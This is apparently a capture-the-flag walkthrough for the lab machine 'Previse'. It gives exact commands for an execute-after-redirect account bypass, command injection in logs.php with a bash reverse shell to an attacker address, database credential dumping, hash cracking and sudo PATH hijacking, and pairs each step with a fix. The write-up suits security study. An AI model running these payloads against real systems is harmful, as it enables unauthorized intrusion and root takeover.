← all walkthroughs

Previse

Linux· Easy· Credential Access· Privilege Escalation
owned
2026-07-05
time to own
4m18s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I exploited a PHP coding flaw that delivered full page content inside redirect responses, allowing silent account creation on a private file-management portal with no prior credentials. After logging in, I downloaded the site's own backup archive, reviewed its source code, discovered an OS command injection flaw in a log-viewing page, and obtained a remote shell as the web server process. Plaintext database credentials baked into the source code led to the local user's password hash, which cracked offline in seconds.

That cracked password opened an SSH session and the user flag. A sudo rule permitted the user to run a shell script as root; because the script invoked gzip by relative name rather than absolute path, planting a malicious gzip binary early in the PATH caused root-level code execution and complete system compromise.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export USERNAME="<an-account-name-you-choose>"
export PASSWORD2="<the-password-you-recovered>"
export PASSWORD3="<the-password-you-recovered>"

Some commands also carry a value in angle brackets — <the-sudo-allowed-script> — which you replace inline with what the step before it turned up.

Attack path — how the box was taken

1ReconnaissanceNetwork port scanning (Nmap)
Mapped the exposed attack surface
A service scan confirmed exactly two open ports: SSH on 22 and an Apache/PHP web application on 80. Every unauthenticated HTTP request received a 302 redirect to /login.php, indicating a private internal portal with no public registration link.
302 Found + Location: login.php on all unauthenticated requests.
Exact commands 2
shell

Full TCP scan with service/version detection. Confirms only ports 22 and 80 are open.

$ nmap -sV -sC -p- --min-rate 5000 -oN previse_full.txt $TARGET
22/tcp open ssh OpenSSH 7.6p1
80/tcp open http
shell

Verify the 302 redirect and PHPSESSID cookie on unauthenticated requests.

$ curl -sI http://$TARGET/
2Initial AccessExecution After Redirect / PHP auth bypass (CWE-698)
Created a portal account without any credentials (PHP redirect bypass)
PHP's header() redirect function issues the 302 but does not stop script execution, so /accounts.php returned its full account-creation form in the response body even while redirecting unauthenticated visitors away. Anyone who reads that response body before following the redirect can POST a new username and password directly to the endpoint, registering a valid account with no prior login.
App returns HTTP 302 + full HTML body on /accounts.php for unauthenticated requests
Exact commands 3
shell

Observe the 302 status AND the account-creation form HTML in the same response body.

$ curl -v http://$TARGET/accounts.php 2>&1 | grep -A 40 '< HTTP'
shell

POST new credentials directly to the endpoint. The server creates the account despite the redirect.

$ curl -s -X POST http://$TARGET/accounts.php -d "username=$USERNAME&password=$PASSWORD3&confirm=$PASSWORD3" -D -
shell

Authenticate with the newly created account and save the session cookie.

$ curl -s -c cookies.txt -X POST http://$TARGET/login.php -d "username=$USERNAME&password=$PASSWORD3" -D -
FixStop PHP page execution immediately after issuing every redirectCritical
WeaknessEvery PHP page that redirects unauthenticated visitors away with header('Location: login.php') continued executing and returned its full HTML form body in the same 302 response. Anyone who reads that response body before following the redirect can interact with restricted functionality, including account creation, without ever holding a valid session.
FixPlace an exit() or die() call immediately after every header() redirect in every protected PHP file. Centralise authentication enforcement in a single include (e.g., auth_check.php) required at the top of every restricted page, so a forgotten exit() cannot silently bypass the control. Remove the publicly exposed account-creation endpoint entirely, or gate it behind an existing admin session.
3DiscoverySensitive file exposure / source code disclosure
Downloaded the site's own backup archive and read the source code
The authenticated file manager at /files.php offered a download link for siteBackup.zip, a full copy of the PHP application. Reviewing the extracted files revealed two critical items: a MySQL password stored in plaintext inside config.php, and a log-viewer endpoint (logs.php) that passed a user-supplied delimiter value straight to a system shell call with no sanitisation.
Config.php and logs.php identified in extracted archive.
Exact commands 3
shell

Identify the backup download link from the file listing page.

$ curl -s -b cookies.txt http://$TARGET/files.php | grep -i 'zip\|href'
shell

Download and extract the backup archive.

$ curl -s -b cookies.txt http://$TARGET/files/siteBackup.zip -o siteBackup.zip && unzip siteBackup.zip -d previse_src/
shell

Locate hardcoded credentials and dangerous function calls in the source code.

$ grep -rn 'password\|mysqli\|exec\|system\|shell_exec' previse_src/ --include='*.php'
4ExecutionOS Command Injection (CWE-78 / T1059)
Injected OS commands through the log viewer and obtained a shell as www-data
Logs.php accepted a POST parameter named 'delim' and concatenated it without escaping into a Python command executed by exec(). Appending a semicolon and a bash reverse-shell payload to the delimiter value caused the web server to connect outbound to me, yielding an interactive shell running as www-data.
Command injection in logs.php 'delim' param -> reverse shell (www-data)
Exact commands 2
shell

Open a listener on my machine before sending the payload.

$ nc -lvnp 4444
shell

Inject a reverse-shell payload via the delim parameter. Replace $ATTACKER_IP with your tun0 VPN address.

$ curl -s -b cookies.txt -X POST http://$TARGET/logs.php --data-urlencode 'delim=,;bash -c "bash -i >& /dev/tcp/'"$ATTACKER_IP"'/4444 0>&1"'
FixEliminate OS command injection in the log viewerCritical
WeaknessThe 'delim' POST parameter in logs.php was concatenated directly into a shell command string passed to exec(), allowing any authenticated user to append arbitrary OS commands and execute them as the web server process.
FixRemove the shell call entirely and parse the log file in native PHP (fgetcsv(), str_getcsv(), etc.). If a subprocess is unavoidable, validate the delimiter against a strict allowlist of safe single characters (comma, tab, pipe) using an exact equality check, then wrap every argument in escapeshellarg() before passing it to the shell. Apply the principle of least privilege to the web server process account so its blast radius is minimised if injection occurs again.
5Credential AccessCredentials in source files / database credential harvesting
Harvested m4lwhere's password hash from MySQL using plaintext database credentials
Config.php in the extracted backup contained the MySQL username and password in plaintext. From the www-data shell, I used those credentials to connect to the local database and dump the accounts table, retrieving the hashed password for the system user m4lwhere.
Config.php present in siteBackup.zip with plaintext MySQL credentials.
Exact commands 2
shell

Read the database connection file from the www-data shell. Exposes host, username, and password in cleartext.

$ cat /var/www/html/config.php
shell

Connect locally and dump all account rows including m4lwhere's password hash. Substitute the actual password found in config.php.

$ mysql -u root -p"$PASSWORD2" previse -e 'SELECT * FROM accounts;'
FixRemove hardcoded database credentials from web-accessible source filesHigh
Weaknessconfig.php stored the MySQL username and password in plaintext inside the web root. Any process that gained a shell as www-data could read the file directly. The siteBackup.zip download made those credentials available to any authenticated portal user without even needing a shell.
FixMove all credentials out of the web root into a directory accessible only to the web server OS account (e.g., /etc/previse/db.conf, owned root:www-data, mode 0640). Load them at runtime via environment variables or a secrets manager. Rotate the current database password immediately and scope the database account to the minimum privileges required (SELECT/INSERT/UPDATE on the previse schema only; no FILE, SUPER, or GRANT). Disable or password-protect the backup download endpoint, or exclude config files from the archive.
6Credential AccessOffline password cracking (T1110.002)
Cracked the password hash offline and logged in via SSH as m4lwhere
The hash retrieved from the database was a bcrypt value produced by PHP's password_hash(). Hashcat cracked it against the rockyou wordlist and recovered the password. That credential worked directly for SSH, giving me a login shell on the host and the user flag.
Sshpass -p <withheld> ssh m4lwhere@$TARGET 'id; hostname; cat /home/m4lwhere/user.txt'
Exact commands 2
shell

Mode 3200 = bcrypt ($2y$). Recovers password from m4lwhere's hash.

$ hashcat -m 3200 m4lwhere.hash /usr/share/wordlists/rockyou.txt --force
shell

Authenticate with the cracked password. Read /home/m4lwhere/user.txt -> <user.txt>

$ ssh m4lwhere@$TARGET
FixEnforce strong password hashing and a minimum password policyHigh
Weaknessm4lwhere's password hash was cracked in a short offline attack using a common wordlist, indicating that either a fast/weak hashing algorithm was in use or the password itself was insufficiently complex. Once a hash is exfiltrated from the database, no server-side control prevents offline cracking.
FixStore all passwords with PHP's password_hash(PASSWORD_BCRYPT) at a cost factor of 12 or higher, or with PASSWORD_ARGON2ID, and verify them with password_verify(). Enforce a minimum password length of 14 characters with mixed character classes at registration time. Require users with existing weak hashes to reset their passwords on next login.
7Privilege EscalationSudo PATH interception (T1574.007)
Hijacked the PATH to replace gzip and escalated to root
Sudo -l showed m4lwhere could run a root-owned script under /opt without a password. That script called gzip using a relative name rather than its absolute path. I created a throwaway directory, wrote an executable named 'gzip' into it, and prepended that directory to PATH before calling sudo. The shell resolved 'gzip' to my own binary, which ran as root and provided a root shell and the root flag.
TD=$(mktemp -d); gzip payload written to $TD; sudo -S PATH=$TD:$PATH against the sudo-allowed script under /opt; root flag captured
Exact commands 4
shell

Name the script m4lwhere may run as root; the path it prints is what the last command takes.

$ sudo -l
shell

Verify the script calls gzip (or another binary) without an absolute path.

$ cat <the-sudo-allowed-script>
shell

Drop a gzip of my own that spawns an interactive root shell into the temp directory.

$ TD=$(mktemp -d) && printf '#!/bin/bash\n/bin/bash -p\n' > $TD/gzip && chmod +x $TD/gzip
shell

Run the allowed script with the poisoned PATH. The replacement gzip executes as root. Read /root/root.txt -> <root.txt>

$ sudo PATH=$TD:$PATH <the-sudo-allowed-script>
FixUse absolute paths in every sudo-allowed scriptCritical
WeaknessThe sudo rule permitted m4lwhere to run the sudo-allowed script as root, but the script called gzip (and potentially other binaries) by relative name. Any user who can prepend a directory to PATH before invoking the script via sudo controls which binary runs as root.
FixReplace every relative command in the sudo-allowed script with its full absolute path (e.g., /bin/gzip, /usr/bin/python3). Add a 'Defaults secure_path' line to /etc/sudoers that restricts PATH to trusted system directories (/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin) for all sudo invocations. Audit every other sudo-allowed script for the same pattern by running: grep -v '^#' /opt/*.sh | grep -v '/usr/\|/bin/\|/sbin/'

Exposed services

22/tcp
80/tcp